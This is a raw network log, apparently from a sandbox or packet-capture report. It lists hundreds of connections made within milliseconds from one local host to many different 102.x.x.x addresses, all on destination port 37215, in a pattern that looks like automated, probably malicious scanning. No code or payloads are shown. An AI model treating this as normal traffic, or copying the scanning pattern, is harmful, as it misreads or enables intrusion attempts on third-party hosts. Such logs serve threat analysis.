Feb 20, 2022 15:51:00.764992952 CET	1898	37215	192.168.2.23	102.185.177.60
Feb 20, 2022 15:51:00.765007019 CET	1898	37215	192.168.2.23	102.48.56.232
Feb 20, 2022 15:51:00.765043020 CET	1898	37215	192.168.2.23	102.252.63.179
Feb 20, 2022 15:51:00.765065908 CET	1386	37215	192.168.2.23	102.94.73.168
Feb 20, 2022 15:51:00.765075922 CET	1898	37215	192.168.2.23	102.103.18.235
Feb 20, 2022 15:51:00.765098095 CET	1898	37215	192.168.2.23	102.69.106.30
Feb 20, 2022 15:51:00.765100956 CET	1386	37215	192.168.2.23	102.65.88.123
Feb 20, 2022 15:51:00.765115976 CET	1898	37215	192.168.2.23	102.11.150.69
Feb 20, 2022 15:51:00.765125990 CET	1898	37215	192.168.2.23	102.251.29.156
Feb 20, 2022 15:51:00.765172958 CET	1898	37215	192.168.2.23	102.245.33.190
Feb 20, 2022 15:51:00.765183926 CET	1898	37215	192.168.2.23	102.143.174.69
Feb 20, 2022 15:51:00.765202045 CET	1898	37215	192.168.2.23	102.48.56.114
Feb 20, 2022 15:51:00.765202999 CET	1898	37215	192.168.2.23	102.126.96.155
Feb 20, 2022 15:51:00.765218019 CET	1386	37215	192.168.2.23	102.203.33.126
Feb 20, 2022 15:51:00.765237093 CET	1898	37215	192.168.2.23	102.91.97.18
Feb 20, 2022 15:51:00.765259027 CET	1898	37215	192.168.2.23	102.214.111.239
Feb 20, 2022 15:51:00.765268087 CET	1898	37215	192.168.2.23	102.117.108.232
Feb 20, 2022 15:51:00.765273094 CET	1386	37215	192.168.2.23	102.163.158.94
Feb 20, 2022 15:51:00.765310049 CET	1386	37215	192.168.2.23	102.10.94.66
Feb 20, 2022 15:51:00.765316963 CET	1898	37215	192.168.2.23	102.179.193.16
Feb 20, 2022 15:51:00.765321970 CET	1898	37215	192.168.2.23	102.55.85.63
Feb 20, 2022 15:51:00.765353918 CET	1898	37215	192.168.2.23	102.96.231.0
Feb 20, 2022 15:51:00.765360117 CET	1898	37215	192.168.2.23	102.140.206.218
Feb 20, 2022 15:51:00.765388966 CET	1386	37215	192.168.2.23	102.230.43.165
Feb 20, 2022 15:51:00.765394926 CET	1898	37215	192.168.2.23	102.158.63.112
Feb 20, 2022 15:51:00.765429020 CET	1898	37215	192.168.2.23	102.102.137.111
Feb 20, 2022 15:51:00.765428066 CET	1898	37215	192.168.2.23	102.134.5.209
Feb 20, 2022 15:51:00.765460014 CET	1898	37215	192.168.2.23	102.143.47.249
Feb 20, 2022 15:51:00.765460014 CET	1898	37215	192.168.2.23	102.115.54.51
Feb 20, 2022 15:51:00.765477896 CET	1386	37215	192.168.2.23	102.195.59.189
Feb 20, 2022 15:51:00.765489101 CET	1898	37215	192.168.2.23	102.21.225.205
Feb 20, 2022 15:51:00.765511990 CET	1386	37215	192.168.2.23	102.213.247.92
Feb 20, 2022 15:51:00.765517950 CET	1898	37215	192.168.2.23	102.5.201.81
Feb 20, 2022 15:51:00.765518904 CET	1898	37215	192.168.2.23	102.174.67.54
Feb 20, 2022 15:51:00.765527010 CET	1898	37215	192.168.2.23	102.125.142.43
Feb 20, 2022 15:51:00.765578032 CET	1898	37215	192.168.2.23	102.207.39.223
Feb 20, 2022 15:51:00.765588045 CET	1898	37215	192.168.2.23	102.179.194.112
Feb 20, 2022 15:51:00.765607119 CET	1386	37215	192.168.2.23	102.147.54.8
Feb 20, 2022 15:51:00.765630007 CET	1898	37215	192.168.2.23	102.190.137.43
Feb 20, 2022 15:51:00.765630960 CET	1898	37215	192.168.2.23	102.105.44.142
Feb 20, 2022 15:51:00.765654087 CET	1386	37215	192.168.2.23	102.196.171.201
Feb 20, 2022 15:51:00.765693903 CET	1898	37215	192.168.2.23	102.103.45.171
Feb 20, 2022 15:51:00.765717983 CET	1898	37215	192.168.2.23	102.140.139.49
Feb 20, 2022 15:51:00.765721083 CET	1898	37215	192.168.2.23	102.5.54.21
Feb 20, 2022 15:51:00.765723944 CET	1386	37215	192.168.2.23	102.113.162.171
Feb 20, 2022 15:51:00.765739918 CET	1898	37215	192.168.2.23	102.232.129.154
Feb 20, 2022 15:51:00.765744925 CET	1898	37215	192.168.2.23	102.145.234.161
Feb 20, 2022 15:51:00.765770912 CET	1898	37215	192.168.2.23	102.158.201.216
Feb 20, 2022 15:51:00.765779972 CET	1386	37215	192.168.2.23	102.167.172.151
Feb 20, 2022 15:51:00.765803099 CET	1898	37215	192.168.2.23	102.89.82.203
Feb 20, 2022 15:51:00.765820980 CET	1898	37215	192.168.2.23	102.86.195.249
Feb 20, 2022 15:51:00.765830040 CET	1898	37215	192.168.2.23	102.145.157.216
Feb 20, 2022 15:51:00.765837908 CET	1386	37215	192.168.2.23	102.120.104.137
Feb 20, 2022 15:51:00.765846014 CET	1898	37215	192.168.2.23	102.251.124.149
Feb 20, 2022 15:51:00.765872955 CET	1898	37215	192.168.2.23	102.33.185.123
Feb 20, 2022 15:51:00.765909910 CET	1898	37215	192.168.2.23	102.10.43.90
Feb 20, 2022 15:51:00.765914917 CET	1898	37215	192.168.2.23	102.175.235.11
Feb 20, 2022 15:51:00.765930891 CET	1386	37215	192.168.2.23	102.231.127.206
Feb 20, 2022 15:51:00.765939951 CET	1898	37215	192.168.2.23	102.252.123.158
Feb 20, 2022 15:51:00.765944004 CET	1898	37215	192.168.2.23	102.25.255.7
Feb 20, 2022 15:51:00.765970945 CET	1898	37215	192.168.2.23	102.39.168.76
Feb 20, 2022 15:51:00.765974045 CET	1386	37215	192.168.2.23	102.130.173.200
Feb 20, 2022 15:51:00.765984058 CET	1898	37215	192.168.2.23	102.111.21.158
Feb 20, 2022 15:51:00.766021967 CET	1898	37215	192.168.2.23	102.185.72.147
Feb 20, 2022 15:51:00.766021967 CET	1898	37215	192.168.2.23	102.100.175.10
Feb 20, 2022 15:51:00.766052008 CET	1386	37215	192.168.2.23	102.78.233.10
Feb 20, 2022 15:51:00.766072035 CET	1898	37215	192.168.2.23	102.170.147.140
Feb 20, 2022 15:51:00.766083956 CET	1898	37215	192.168.2.23	102.48.75.116
Feb 20, 2022 15:51:00.766109943 CET	1898	37215	192.168.2.23	102.138.83.118
Feb 20, 2022 15:51:00.766117096 CET	1898	37215	192.168.2.23	102.73.181.39
Feb 20, 2022 15:51:00.766124010 CET	1898	37215	192.168.2.23	102.144.188.123
Feb 20, 2022 15:51:00.766153097 CET	1386	37215	192.168.2.23	102.127.22.211
Feb 20, 2022 15:51:00.766175032 CET	1898	37215	192.168.2.23	102.212.6.253
Feb 20, 2022 15:51:00.766175032 CET	1386	37215	192.168.2.23	102.36.88.89
Feb 20, 2022 15:51:00.766176939 CET	1898	37215	192.168.2.23	102.212.234.233
Feb 20, 2022 15:51:00.766222954 CET	1898	37215	192.168.2.23	102.141.77.196
Feb 20, 2022 15:51:00.766246080 CET	1898	37215	192.168.2.23	102.102.190.113
Feb 20, 2022 15:51:00.766258001 CET	1386	37215	192.168.2.23	102.132.167.46
Feb 20, 2022 15:51:00.766266108 CET	1898	37215	192.168.2.23	102.225.236.88
Feb 20, 2022 15:51:00.766289949 CET	1898	37215	192.168.2.23	102.5.7.73
Feb 20, 2022 15:51:00.766295910 CET	1898	37215	192.168.2.23	102.191.183.187
Feb 20, 2022 15:51:00.766320944 CET	1386	37215	192.168.2.23	102.204.147.180
Feb 20, 2022 15:51:00.766328096 CET	1898	37215	192.168.2.23	102.208.205.133
Feb 20, 2022 15:51:00.766334057 CET	1898	37215	192.168.2.23	102.230.26.77
Feb 20, 2022 15:51:00.766362906 CET	1898	37215	192.168.2.23	102.83.57.120
Feb 20, 2022 15:51:00.766370058 CET	1898	37215	192.168.2.23	102.188.63.29
Feb 20, 2022 15:51:00.766383886 CET	1898	37215	192.168.2.23	102.105.53.117
Feb 20, 2022 15:51:00.766413927 CET	1386	37215	192.168.2.23	102.209.140.190
Feb 20, 2022 15:51:00.766416073 CET	1898	37215	192.168.2.23	102.15.241.141
Feb 20, 2022 15:51:00.766433001 CET	1898	37215	192.168.2.23	102.52.29.155
Feb 20, 2022 15:51:00.766448021 CET	1898	37215	192.168.2.23	102.34.78.150
Feb 20, 2022 15:51:00.766473055 CET	1386	37215	192.168.2.23	102.215.251.16
Feb 20, 2022 15:51:00.766480923 CET	1898	37215	192.168.2.23	102.131.141.78
Feb 20, 2022 15:51:00.766508102 CET	1386	37215	192.168.2.23	102.199.100.189
Feb 20, 2022 15:51:00.766530037 CET	1898	37215	192.168.2.23	102.189.195.2
Feb 20, 2022 15:51:00.766532898 CET	1898	37215	192.168.2.23	102.85.55.53
Feb 20, 2022 15:51:00.766546965 CET	1898	37215	192.168.2.23	102.198.102.57
Feb 20, 2022 15:51:00.766571045 CET	1898	37215	192.168.2.23	102.92.104.163
Feb 20, 2022 15:51:00.766593933 CET	1386	37215	192.168.2.23	102.178.218.75
Feb 20, 2022 15:51:00.766597986 CET	1898	37215	192.168.2.23	102.202.244.21
Feb 20, 2022 15:51:00.766616106 CET	1898	37215	192.168.2.23	102.151.19.45
Feb 20, 2022 15:51:00.766634941 CET	1386	37215	192.168.2.23	102.73.243.100
Feb 20, 2022 15:51:00.766645908 CET	1898	37215	192.168.2.23	102.75.21.242
Feb 20, 2022 15:51:00.766676903 CET	1898	37215	192.168.2.23	102.30.21.77
Feb 20, 2022 15:51:00.766680956 CET	1898	37215	192.168.2.23	102.53.61.114
Feb 20, 2022 15:51:00.766704082 CET	1898	37215	192.168.2.23	102.150.72.59
Feb 20, 2022 15:51:00.766712904 CET	1386	37215	192.168.2.23	102.179.63.249
Feb 20, 2022 15:51:00.766712904 CET	1898	37215	192.168.2.23	102.214.202.231
Feb 20, 2022 15:51:00.766733885 CET	1898	37215	192.168.2.23	102.1.11.63
Feb 20, 2022 15:51:00.766767025 CET	1898	37215	192.168.2.23	102.36.243.235
Feb 20, 2022 15:51:00.766778946 CET	1386	37215	192.168.2.23	102.226.126.110
Feb 20, 2022 15:51:00.766786098 CET	1898	37215	192.168.2.23	102.228.4.134
Feb 20, 2022 15:51:00.766833067 CET	1898	37215	192.168.2.23	102.56.223.125
Feb 20, 2022 15:51:00.766838074 CET	1386	37215	192.168.2.23	102.61.113.117
Feb 20, 2022 15:51:00.766845942 CET	1898	37215	192.168.2.23	102.209.141.44
Feb 20, 2022 15:51:00.766855955 CET	1898	37215	192.168.2.23	102.88.167.126
Feb 20, 2022 15:51:00.766905069 CET	1898	37215	192.168.2.23	102.154.231.220
Feb 20, 2022 15:51:00.766906977 CET	1898	37215	192.168.2.23	102.17.34.145
Feb 20, 2022 15:51:00.766922951 CET	1386	37215	192.168.2.23	102.220.167.155
Feb 20, 2022 15:51:00.766937017 CET	1898	37215	192.168.2.23	102.72.176.152
Feb 20, 2022 15:51:00.766963005 CET	1386	37215	192.168.2.23	102.246.12.148
Feb 20, 2022 15:51:00.766979933 CET	1898	37215	192.168.2.23	102.187.239.31
Feb 20, 2022 15:51:00.766987085 CET	1898	37215	192.168.2.23	102.144.161.239
Feb 20, 2022 15:51:00.767003059 CET	1898	37215	192.168.2.23	102.208.153.242
Feb 20, 2022 15:51:00.767010927 CET	1898	37215	192.168.2.23	102.153.134.230
Feb 20, 2022 15:51:00.767019987 CET	1898	37215	192.168.2.23	102.89.164.185
Feb 20, 2022 15:51:00.767052889 CET	1898	37215	192.168.2.23	102.59.71.146
Feb 20, 2022 15:51:00.767056942 CET	1386	37215	192.168.2.23	102.185.187.176
Feb 20, 2022 15:51:00.767098904 CET	1898	37215	192.168.2.23	102.104.162.81
Feb 20, 2022 15:51:00.767103910 CET	1386	37215	192.168.2.23	102.149.134.76
Feb 20, 2022 15:51:00.767107010 CET	1898	37215	192.168.2.23	102.198.246.119
Feb 20, 2022 15:51:00.767134905 CET	1898	37215	192.168.2.23	102.214.3.106
Feb 20, 2022 15:51:00.767163038 CET	1386	37215	192.168.2.23	102.177.222.202
Feb 20, 2022 15:51:00.767167091 CET	1898	37215	192.168.2.23	102.170.68.111
Feb 20, 2022 15:51:00.767179012 CET	1898	37215	192.168.2.23	102.30.217.47
Feb 20, 2022 15:51:00.767215967 CET	1898	37215	192.168.2.23	102.164.178.158
Feb 20, 2022 15:51:00.767226934 CET	1898	37215	192.168.2.23	102.254.79.234
Feb 20, 2022 15:51:00.767230988 CET	1386	37215	192.168.2.23	102.15.240.97
Feb 20, 2022 15:51:00.767258883 CET	1898	37215	192.168.2.23	102.252.159.167
Feb 20, 2022 15:51:00.767277956 CET	1898	37215	192.168.2.23	102.111.198.14
Feb 20, 2022 15:51:00.767285109 CET	1898	37215	192.168.2.23	102.39.166.80
Feb 20, 2022 15:51:00.767286062 CET	1386	37215	192.168.2.23	102.25.7.194
Feb 20, 2022 15:51:00.767298937 CET	1898	37215	192.168.2.23	102.160.36.133
Feb 20, 2022 15:51:00.767354012 CET	1386	37215	192.168.2.23	102.8.153.56
Feb 20, 2022 15:51:00.767359018 CET	1898	37215	192.168.2.23	102.68.98.171
Feb 20, 2022 15:51:00.767365932 CET	1898	37215	192.168.2.23	102.202.163.196
Feb 20, 2022 15:51:00.767395973 CET	1898	37215	192.168.2.23	102.105.2.225
Feb 20, 2022 15:51:00.767402887 CET	1898	37215	192.168.2.23	102.61.195.87
Feb 20, 2022 15:51:00.767414093 CET	1386	37215	192.168.2.23	102.168.64.72
Feb 20, 2022 15:51:00.767440081 CET	1898	37215	192.168.2.23	102.236.11.33
Feb 20, 2022 15:51:00.767441988 CET	1898	37215	192.168.2.23	102.113.132.185
Feb 20, 2022 15:51:00.767477989 CET	1898	37215	192.168.2.23	102.107.77.119
Feb 20, 2022 15:51:00.767482996 CET	1898	37215	192.168.2.23	102.229.14.114
Feb 20, 2022 15:51:00.767488003 CET	1386	37215	192.168.2.23	102.29.37.199
Feb 20, 2022 15:51:00.767504930 CET	1898	37215	192.168.2.23	102.172.241.121
Feb 20, 2022 15:51:00.767554045 CET	1898	37215	192.168.2.23	102.115.91.130
Feb 20, 2022 15:51:00.767556906 CET	1898	37215	192.168.2.23	102.1.64.130
Feb 20, 2022 15:51:00.767564058 CET	1386	37215	192.168.2.23	102.111.70.173
Feb 20, 2022 15:51:00.767582893 CET	1898	37215	192.168.2.23	102.65.168.228
Feb 20, 2022 15:51:00.767626047 CET	1898	37215	192.168.2.23	102.18.63.248
Feb 20, 2022 15:51:00.767627954 CET	1898	37215	192.168.2.23	102.243.11.14
Feb 20, 2022 15:51:00.767641068 CET	1898	37215	192.168.2.23	102.243.125.114
Feb 20, 2022 15:51:00.767642975 CET	1386	37215	192.168.2.23	102.113.238.14
Feb 20, 2022 15:51:00.767671108 CET	1898	37215	192.168.2.23	102.119.126.253
Feb 20, 2022 15:51:00.767705917 CET	1898	37215	192.168.2.23	102.227.218.146
Feb 20, 2022 15:51:00.767743111 CET	1898	37215	192.168.2.23	102.182.157.236
Feb 20, 2022 15:51:00.767751932 CET	1386	37215	192.168.2.23	102.223.220.197
Feb 20, 2022 15:51:00.767760992 CET	1386	37215	192.168.2.23	102.121.230.37
Feb 20, 2022 15:51:00.767771006 CET	1898	37215	192.168.2.23	102.91.192.176
Feb 20, 2022 15:51:00.767771959 CET	1898	37215	192.168.2.23	102.133.170.200
Feb 20, 2022 15:51:00.767797947 CET	1898	37215	192.168.2.23	102.151.171.165
Feb 20, 2022 15:51:00.767816067 CET	1386	37215	192.168.2.23	102.4.16.125
Feb 20, 2022 15:51:00.767833948 CET	1898	37215	192.168.2.23	102.4.177.27
Feb 20, 2022 15:51:00.767872095 CET	1898	37215	192.168.2.23	102.58.182.248
Feb 20, 2022 15:51:00.767879963 CET	1898	37215	192.168.2.23	102.212.219.110
Feb 20, 2022 15:51:00.767889977 CET	1386	37215	192.168.2.23	102.72.237.212
Feb 20, 2022 15:51:00.767904997 CET	1898	37215	192.168.2.23	102.40.0.222
Feb 20, 2022 15:51:00.767904997 CET	1898	37215	192.168.2.23	102.177.218.245
Feb 20, 2022 15:51:00.767925024 CET	1898	37215	192.168.2.23	102.159.203.87
Feb 20, 2022 15:51:00.767946959 CET	1386	37215	192.168.2.23	102.14.17.17
Feb 20, 2022 15:51:00.767971039 CET	1898	37215	192.168.2.23	102.129.61.179
Feb 20, 2022 15:51:00.767977953 CET	1898	37215	192.168.2.23	102.80.82.7
Feb 20, 2022 15:51:00.768011093 CET	1386	37215	192.168.2.23	102.254.163.50
Feb 20, 2022 15:51:00.768035889 CET	1898	37215	192.168.2.23	102.54.218.213
Feb 20, 2022 15:51:00.768040895 CET	1898	37215	192.168.2.23	102.68.68.15
Feb 20, 2022 15:51:00.768058062 CET	1898	37215	192.168.2.23	102.59.78.214
Feb 20, 2022 15:51:00.768079996 CET	1898	37215	192.168.2.23	102.2.102.7
Feb 20, 2022 15:51:00.768080950 CET	1386	37215	192.168.2.23	102.138.54.131
Feb 20, 2022 15:51:00.768081903 CET	1898	37215	192.168.2.23	102.145.114.71
Feb 20, 2022 15:51:00.768110037 CET	1898	37215	192.168.2.23	102.3.156.84
Feb 20, 2022 15:51:00.768136024 CET	1898	37215	192.168.2.23	102.126.164.229
Feb 20, 2022 15:51:00.768148899 CET	1386	37215	192.168.2.23	102.62.162.166
Feb 20, 2022 15:51:00.768152952 CET	1898	37215	192.168.2.23	102.221.14.106
Feb 20, 2022 15:51:00.768155098 CET	1898	37215	192.168.2.23	102.242.228.202
Feb 20, 2022 15:51:00.768198013 CET	1898	37215	192.168.2.23	102.191.242.31
Feb 20, 2022 15:51:00.768204927 CET	1386	37215	192.168.2.23	102.126.34.255
Feb 20, 2022 15:51:00.768239975 CET	1898	37215	192.168.2.23	102.251.249.77
Feb 20, 2022 15:51:00.768244028 CET	1898	37215	192.168.2.23	102.212.132.106
Feb 20, 2022 15:51:00.768277884 CET	1386	37215	192.168.2.23	102.68.160.30
Feb 20, 2022 15:51:00.768296003 CET	1898	37215	192.168.2.23	102.43.137.71
Feb 20, 2022 15:51:00.768301010 CET	1898	37215	192.168.2.23	102.145.205.219
Feb 20, 2022 15:51:00.768304110 CET	1898	37215	192.168.2.23	102.156.203.251
Feb 20, 2022 15:51:00.768316031 CET	1898	37215	192.168.2.23	102.13.166.103
Feb 20, 2022 15:51:00.768335104 CET	1386	37215	192.168.2.23	102.103.101.167
Feb 20, 2022 15:51:00.768341064 CET	1898	37215	192.168.2.23	102.137.180.66
Feb 20, 2022 15:51:00.768389940 CET	1898	37215	192.168.2.23	102.16.34.142
Feb 20, 2022 15:51:00.768405914 CET	1898	37215	192.168.2.23	102.254.52.201
Feb 20, 2022 15:51:00.768414021 CET	1386	37215	192.168.2.23	102.135.148.47
Feb 20, 2022 15:51:00.768428087 CET	1898	37215	192.168.2.23	102.159.117.97
Feb 20, 2022 15:51:00.768440962 CET	1898	37215	192.168.2.23	102.140.240.229
Feb 20, 2022 15:51:00.768455029 CET	1898	37215	192.168.2.23	102.100.240.191
Feb 20, 2022 15:51:00.768470049 CET	1898	37215	192.168.2.23	102.253.1.93
Feb 20, 2022 15:51:00.768487930 CET	1386	37215	192.168.2.23	102.133.219.61
Feb 20, 2022 15:51:00.768511057 CET	1898	37215	192.168.2.23	102.79.18.168
Feb 20, 2022 15:51:00.768512964 CET	1898	37215	192.168.2.23	102.213.18.110
Feb 20, 2022 15:51:00.768541098 CET	1386	37215	192.168.2.23	102.214.172.253
Feb 20, 2022 15:51:00.768553972 CET	1898	37215	192.168.2.23	102.150.58.118
Feb 20, 2022 15:51:00.768575907 CET	1898	37215	192.168.2.23	102.13.210.134
Feb 20, 2022 15:51:00.768591881 CET	1898	37215	192.168.2.23	102.60.95.5
Feb 20, 2022 15:51:00.768595934 CET	1898	37215	192.168.2.23	102.22.22.199
Feb 20, 2022 15:51:00.768603086 CET	1386	37215	192.168.2.23	102.73.26.212
Feb 20, 2022 15:51:00.768615961 CET	1898	37215	192.168.2.23	102.159.133.255
Feb 20, 2022 15:51:00.768644094 CET	1898	37215	192.168.2.23	102.44.12.14
Feb 20, 2022 15:51:00.768659115 CET	1386	37215	192.168.2.23	102.202.229.120
Feb 20, 2022 15:51:00.768721104 CET	1898	37215	192.168.2.23	102.68.184.54
Feb 20, 2022 15:51:00.768727064 CET	1898	37215	192.168.2.23	102.168.138.150
Feb 20, 2022 15:51:00.768728018 CET	1386	37215	192.168.2.23	102.42.132.39
Feb 20, 2022 15:51:00.768743992 CET	1898	37215	192.168.2.23	102.19.118.78
Feb 20, 2022 15:51:00.768754959 CET	1898	37215	192.168.2.23	102.179.29.14
Feb 20, 2022 15:51:00.768773079 CET	1898	37215	192.168.2.23	102.45.66.127
Feb 20, 2022 15:51:00.768779039 CET	1898	37215	192.168.2.23	102.106.132.139
Feb 20, 2022 15:51:00.768795013 CET	1386	37215	192.168.2.23	102.47.19.173
Feb 20, 2022 15:51:00.768831015 CET	1898	37215	192.168.2.23	102.132.162.30
Feb 20, 2022 15:51:00.768834114 CET	1898	37215	192.168.2.23	102.236.22.99
Feb 20, 2022 15:51:00.768850088 CET	1386	37215	192.168.2.23	102.34.218.58
Feb 20, 2022 15:51:00.768866062 CET	1898	37215	192.168.2.23	102.110.99.242
Feb 20, 2022 15:51:00.768874884 CET	1898	37215	192.168.2.23	102.153.106.128
Feb 20, 2022 15:51:00.768913031 CET	1386	37215	192.168.2.23	102.13.49.113
Feb 20, 2022 15:51:00.768922091 CET	1898	37215	192.168.2.23	102.190.159.154
Feb 20, 2022 15:51:00.768954039 CET	1898	37215	192.168.2.23	102.124.185.60
Feb 20, 2022 15:51:00.768969059 CET	1898	37215	192.168.2.23	102.250.12.118
Feb 20, 2022 15:51:00.768982887 CET	1898	37215	192.168.2.23	102.12.200.25
Feb 20, 2022 15:51:00.768985033 CET	1898	37215	192.168.2.23	102.45.141.50
Feb 20, 2022 15:51:00.769001961 CET	1386	37215	192.168.2.23	102.142.191.210
Feb 20, 2022 15:51:00.769047022 CET	1898	37215	192.168.2.23	102.19.183.237
Feb 20, 2022 15:51:00.769049883 CET	1386	37215	192.168.2.23	102.199.138.52
Feb 20, 2022 15:51:00.769067049 CET	1898	37215	192.168.2.23	102.220.51.160
Feb 20, 2022 15:51:00.769068003 CET	1898	37215	192.168.2.23	102.52.130.123
Feb 20, 2022 15:51:00.769093037 CET	1386	37215	192.168.2.23	102.243.119.195
Feb 20, 2022 15:51:00.769094944 CET	1898	37215	192.168.2.23	102.81.68.83
Feb 20, 2022 15:51:00.769098997 CET	1898	37215	192.168.2.23	102.105.103.65
Feb 20, 2022 15:51:00.769114017 CET	1898	37215	192.168.2.23	102.192.111.204
Feb 20, 2022 15:51:00.769155979 CET	1898	37215	192.168.2.23	102.186.50.180
Feb 20, 2022 15:51:00.769174099 CET	1898	37215	192.168.2.23	102.145.197.197
Feb 20, 2022 15:51:00.769186974 CET	1898	37215	192.168.2.23	102.45.204.40
Feb 20, 2022 15:51:00.769196987 CET	1898	37215	192.168.2.23	102.232.182.95
Feb 20, 2022 15:51:00.769200087 CET	1386	37215	192.168.2.23	102.55.193.47
Feb 20, 2022 15:51:00.769236088 CET	1898	37215	192.168.2.23	102.118.184.187
Feb 20, 2022 15:51:00.769238949 CET	1898	37215	192.168.2.23	102.198.123.165
Feb 20, 2022 15:51:00.769268990 CET	1386	37215	192.168.2.23	102.235.183.254
Feb 20, 2022 15:51:00.769303083 CET	1898	37215	192.168.2.23	102.133.52.182
Feb 20, 2022 15:51:00.769305944 CET	1898	37215	192.168.2.23	102.63.136.139
Feb 20, 2022 15:51:00.769325018 CET	1898	37215	192.168.2.23	102.215.191.65
Feb 20, 2022 15:51:00.769330978 CET	1386	37215	192.168.2.23	102.179.37.56
Feb 20, 2022 15:51:00.769340038 CET	1386	37215	192.168.2.23	102.210.163.49
Feb 20, 2022 15:51:00.769383907 CET	1898	37215	192.168.2.23	102.207.83.140
Feb 20, 2022 15:51:00.769383907 CET	1898	37215	192.168.2.23	102.54.67.151
Feb 20, 2022 15:51:00.769402981 CET	1386	37215	192.168.2.23	102.8.9.215
Feb 20, 2022 15:51:00.769414902 CET	1898	37215	192.168.2.23	102.185.185.214
Feb 20, 2022 15:51:00.769423962 CET	1898	37215	192.168.2.23	102.14.150.133
Feb 20, 2022 15:51:00.769474030 CET	1898	37215	192.168.2.23	102.18.239.42
Feb 20, 2022 15:51:00.769478083 CET	1898	37215	192.168.2.23	102.235.80.122
Feb 20, 2022 15:51:00.769480944 CET	1386	37215	192.168.2.23	102.121.229.159
Feb 20, 2022 15:51:00.769519091 CET	1898	37215	192.168.2.23	102.90.10.217
Feb 20, 2022 15:51:00.769526958 CET	1898	37215	192.168.2.23	102.85.172.76
Feb 20, 2022 15:51:00.769542933 CET	1386	37215	192.168.2.23	102.134.203.181
Feb 20, 2022 15:51:00.769576073 CET	1898	37215	192.168.2.23	102.228.116.185
Feb 20, 2022 15:51:00.769603968 CET	1898	37215	192.168.2.23	102.242.195.130
Feb 20, 2022 15:51:00.769610882 CET	1386	37215	192.168.2.23	102.168.161.97
Feb 20, 2022 15:51:00.769639969 CET	1898	37215	192.168.2.23	102.229.68.208
Feb 20, 2022 15:51:00.769648075 CET	1898	37215	192.168.2.23	102.219.134.42
Feb 20, 2022 15:51:00.769658089 CET	1898	37215	192.168.2.23	102.211.16.68
Feb 20, 2022 15:51:00.769675970 CET	1898	37215	192.168.2.23	102.232.226.206
Feb 20, 2022 15:51:00.769686937 CET	1898	37215	192.168.2.23	102.96.242.113
Feb 20, 2022 15:51:00.769717932 CET	1898	37215	192.168.2.23	102.156.192.86
Feb 20, 2022 15:51:00.769731998 CET	1386	37215	192.168.2.23	102.57.233.0
Feb 20, 2022 15:51:00.769737005 CET	1898	37215	192.168.2.23	102.75.9.117
Feb 20, 2022 15:51:00.769764900 CET	1898	37215	192.168.2.23	102.16.25.255
Feb 20, 2022 15:51:00.769788980 CET	1386	37215	192.168.2.23	102.120.248.108
Feb 20, 2022 15:51:00.769797087 CET	1898	37215	192.168.2.23	102.161.235.175
Feb 20, 2022 15:51:00.769824982 CET	1386	37215	192.168.2.23	102.231.40.112
Feb 20, 2022 15:51:00.769840002 CET	1898	37215	192.168.2.23	102.103.116.14
Feb 20, 2022 15:51:00.769844055 CET	1898	37215	192.168.2.23	102.148.215.89
Feb 20, 2022 15:51:00.769862890 CET	1898	37215	192.168.2.23	102.180.255.126
Feb 20, 2022 15:51:00.769877911 CET	1386	37215	192.168.2.23	102.3.130.83
Feb 20, 2022 15:51:00.769879103 CET	1898	37215	192.168.2.23	102.73.63.44
Feb 20, 2022 15:51:00.769923925 CET	1898	37215	192.168.2.23	102.86.216.114
Feb 20, 2022 15:51:00.769946098 CET	1898	37215	192.168.2.23	102.191.147.138
Feb 20, 2022 15:51:00.769949913 CET	1386	37215	192.168.2.23	102.120.220.81
Feb 20, 2022 15:51:00.769977093 CET	1898	37215	192.168.2.23	102.146.18.118
Feb 20, 2022 15:51:00.770003080 CET	1386	37215	192.168.2.23	102.212.166.117
Feb 20, 2022 15:51:00.770026922 CET	1898	37215	192.168.2.23	102.181.135.219
Feb 20, 2022 15:51:00.770034075 CET	1898	37215	192.168.2.23	102.63.213.160
Feb 20, 2022 15:51:00.770035982 CET	1898	37215	192.168.2.23	102.92.51.20
Feb 20, 2022 15:51:00.770049095 CET	1386	37215	192.168.2.23	102.30.16.101
Feb 20, 2022 15:51:00.770083904 CET	1898	37215	192.168.2.23	102.11.122.181
Feb 20, 2022 15:51:00.770090103 CET	1898	37215	192.168.2.23	102.125.220.233
Feb 20, 2022 15:51:00.770095110 CET	1898	37215	192.168.2.23	102.178.190.109
Feb 20, 2022 15:51:00.770102978 CET	1386	37215	192.168.2.23	102.205.248.248
Feb 20, 2022 15:51:00.770129919 CET	1898	37215	192.168.2.23	102.174.114.214
Feb 20, 2022 15:51:00.770153999 CET	1898	37215	192.168.2.23	102.83.195.136
Feb 20, 2022 15:51:00.770170927 CET	1386	37215	192.168.2.23	102.168.99.4
Feb 20, 2022 15:51:00.770180941 CET	1898	37215	192.168.2.23	102.223.124.199
Feb 20, 2022 15:51:00.770189047 CET	1898	37215	192.168.2.23	102.8.139.123
Feb 20, 2022 15:51:00.770211935 CET	1898	37215	192.168.2.23	102.240.211.4
Feb 20, 2022 15:51:00.770232916 CET	1898	37215	192.168.2.23	102.77.235.211
Feb 20, 2022 15:51:00.770241022 CET	1386	37215	192.168.2.23	102.50.38.76
Feb 20, 2022 15:51:00.770242929 CET	1898	37215	192.168.2.23	102.30.82.113
Feb 20, 2022 15:51:00.770288944 CET	1898	37215	192.168.2.23	102.71.244.74
Feb 20, 2022 15:51:00.770302057 CET	1386	37215	192.168.2.23	102.113.56.185
Feb 20, 2022 15:51:00.770303965 CET	1898	37215	192.168.2.23	102.226.17.10
Feb 20, 2022 15:51:00.770344019 CET	1898	37215	192.168.2.23	102.18.200.65
Feb 20, 2022 15:51:00.770371914 CET	1898	37215	192.168.2.23	102.213.132.217
Feb 20, 2022 15:51:00.770390034 CET	1386	37215	192.168.2.23	102.224.198.227
Feb 20, 2022 15:51:00.770395994 CET	1898	37215	192.168.2.23	102.199.44.176
Feb 20, 2022 15:51:00.770401001 CET	1898	37215	192.168.2.23	102.109.95.45
Feb 20, 2022 15:51:00.770426035 CET	1386	37215	192.168.2.23	102.194.12.2
Feb 20, 2022 15:51:00.770453930 CET	1898	37215	192.168.2.23	102.142.12.240
Feb 20, 2022 15:51:00.770471096 CET	1898	37215	192.168.2.23	102.252.208.84
Feb 20, 2022 15:51:00.770484924 CET	1898	37215	192.168.2.23	102.66.226.14
Feb 20, 2022 15:51:00.770498991 CET	1898	37215	192.168.2.23	102.15.201.109
Feb 20, 2022 15:51:00.770502090 CET	1898	37215	192.168.2.23	102.51.166.156
Feb 20, 2022 15:51:00.770509005 CET	1898	37215	192.168.2.23	102.46.204.41
